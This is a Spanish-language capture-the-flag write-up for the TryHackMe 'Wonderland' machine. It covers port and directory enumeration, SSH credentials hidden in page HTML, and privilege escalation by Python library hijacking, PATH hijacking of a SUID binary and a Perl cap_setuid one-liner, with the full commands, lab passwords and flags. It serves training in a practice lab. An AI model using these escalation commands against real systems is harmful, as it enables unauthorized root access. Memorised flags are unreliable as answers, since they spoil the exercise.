// TryHackMe — CTF — Writeup

WONDERLAND

#linux #web #python-hijacking #path-hijacking #capabilities
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo de puertos para mapear toda la superficie de ataque antes de pasar al análisis de servicios.

escaneo completo
nmap -p- -T5 <IP> -oG allPorts
PUERTO ESTADO SERVICIO VERSIÓN
22/tcpOPENsshOpenSSH 7.6p1 Ubuntu
80/tcpOPENhttpGolang net/http
Superficie de ataque mínima
Solo dos puertos abiertos: SSH y una web. El vector de entrada está en la aplicación web — hay que enumerarla con detenimiento antes de intentar nada por SSH.
// 02

ENUMERACIÓN WEB — Fuzzing de directorios

La web muestra una página temática de Alicia en el País de las Maravillas. El código fuente no revela nada útil, así que se recurre al fuzzing de directorios.

fuzzing de directorios
gobuster dir -u http://<IP>/ -w <DICCIONARIO> -x php,txt,html,js
/.../ (Status: 301) [Size: 0] [--> /r/]

Se descubre el directorio /r. Siguiendo la temática de la máquina ("Follow the White Rabbit"), se prueba la ruta completa /r/a/b/b/i/t/.

Credenciales en el código fuente
La página /r/a/b/b/i/t/ contiene un párrafo oculto con display:none que expone credenciales SSH directamente en el HTML:

alice:HowDoothTheLittleCrocodileImproveHisShiningTail
acceso SSH con las credenciales encontradas
ssh alice@<IP>
// 03

ACCESO INICIAL — Shell como alice

Con las credenciales obtenidas se accede al sistema como alice. El directorio personal contiene dos ficheros propiedad de root que no se pueden editar.

alice@wonderland:~$ ls -la -rw------- 1 root root 66 May 25 2020 root.txt -rw-r--r-- 1 root root 3577 May 25 2020 walrus_and_the_carpenter.py
Las flags están invertidas
En esta máquina las flags están al revés: root.txt está en /home/alice y user.txt está en /root. Hay que llegar a root para leer ambas.

Se comprueba qué comandos puede ejecutar alice con privilegios elevados.

comprobación de permisos sudo
sudo -l
User alice may run the following commands on wonderland: (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
Python Library Hijacking
Alice puede ejecutar el script como el usuario rabbit. El script importa la librería random sin ruta absoluta, lo que permite crear un random.py malicioso en el mismo directorio. Python buscará primero en el directorio actual antes de en las rutas del sistema.
// 04

ESCALADA — alice → rabbit via Python hijacking

Se crea un fichero random.py malicioso en /home/alice que spawna una shell. Al ejecutar el script con sudo como rabbit, Python importa nuestro módulo en lugar del legítimo.

random.py malicioso
import os os.system('/bin/bash -p')
ejecución del script como rabbit
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$
¿Por qué funciona?
Python resuelve los imports buscando primero en el directorio del script (/home/alice). Al existir un random.py local, lo carga en lugar del módulo estándar del sistema. El proceso hereda el UID de rabbit porque se lanzó con sudo -u rabbit.
// 05

ESCALADA — rabbit → hatter via PATH hijacking

En el directorio personal de rabbit se encuentra un binario SUID llamado teaParty. Se analiza con strings para entender su comportamiento.

análisis del binario
strings teaParty
... Welcome to the tea party! The Mad Hatter will be here soon. /bin/echo -n 'Probably by ' && date --date='next hour' -R Ask very nicely, and I will give you some tea while you wait for him Segmentation fault (core dumped) ...
PATH Hijacking en binario SUID
El binario llama a date sin ruta absoluta. Creando un date falso en /tmp y anteponiendo ese directorio al PATH, el binario ejecutará nuestro script en lugar del comando legítimo del sistema.
creación del date malicioso y manipulación del PATH
echo '/bin/bash -p' > /tmp/date chmod +x /tmp/date export PATH=/tmp:$PATH ./teaParty
hatter@wonderland:/home/rabbit$
credenciales en el directorio de hatter
cat /home/hatter/password.txt
WhyIsARavenLikeAWritingDesk?
cambio a sesión limpia de hatter
su hatter
Por qué cambiar a sesión limpia
La shell obtenida via PATH hijacking hereda el entorno manipulado con /tmp al inicio del PATH. Hacer su hatter con la contraseña real da una sesión limpia, lo que evita problemas al usar herramientas del sistema que puedan verse afectadas por el PATH adulterado.
// 06

ESCALADA A ROOT — Capabilities en Perl

Con una sesión limpia como hatter se enumeran las capabilities asignadas a binarios del sistema.

búsqueda de capabilities
getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/bin/perl = cap_setuid+ep
cap_setuid+ep en /usr/bin/perl
La capability cap_setuid permite al binario cambiar su UID efectivo a cualquier valor, incluido 0 (root), sin necesitar el bit SUID. El flag ep indica que la capability está tanto en el conjunto effective como en el permitted, lo que significa que está activa desde el inicio de la ejecución.
escalada a root via perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p"'
root@wonderland:/home/rabbit# whoami root
¿Por qué funciona?
Perl invoca POSIX::setuid(0) para fijar el UID real y efectivo a 0. Gracias a cap_setuid esto está permitido sin ser root. A continuación ejecuta /bin/bash -p, que respeta el UID efectivo 0 gracias al flag -p.
USER FLAG cat /root/user.txt → thm{"Curiouser and curiouser!"}
ROOT FLAG cat /home/alice/root.txt → thm{Twinkle, twinkle, little bat! How I wonder what you're at!}
// RESUMEN

CADENA DE ATAQUE

01
Web — Credenciales en código fuente
Gobuster descubre /r → ruta /r/a/b/b/i/t/ contiene párrafo oculto con credenciales SSH de alice
02
Python Library Hijacking → rabbit
sudo -u rabbit python3.6 walrus_and_the_carpenter.pyrandom.py malicioso en directorio del script → shell como rabbit
03
PATH Hijacking en teaParty SUID → hatter
Binario SUID llama a date sin ruta absoluta → /tmp/date malicioso + PATH=/tmp:$PATH → shell como hatter → contraseña en password.txt
cap_setuid en Perl → Root
getcap revela /usr/bin/perl = cap_setuid+epPOSIX::setuid(0)/bin/bash -p → root → flags en /root/user.txt y /home/alice/root.txt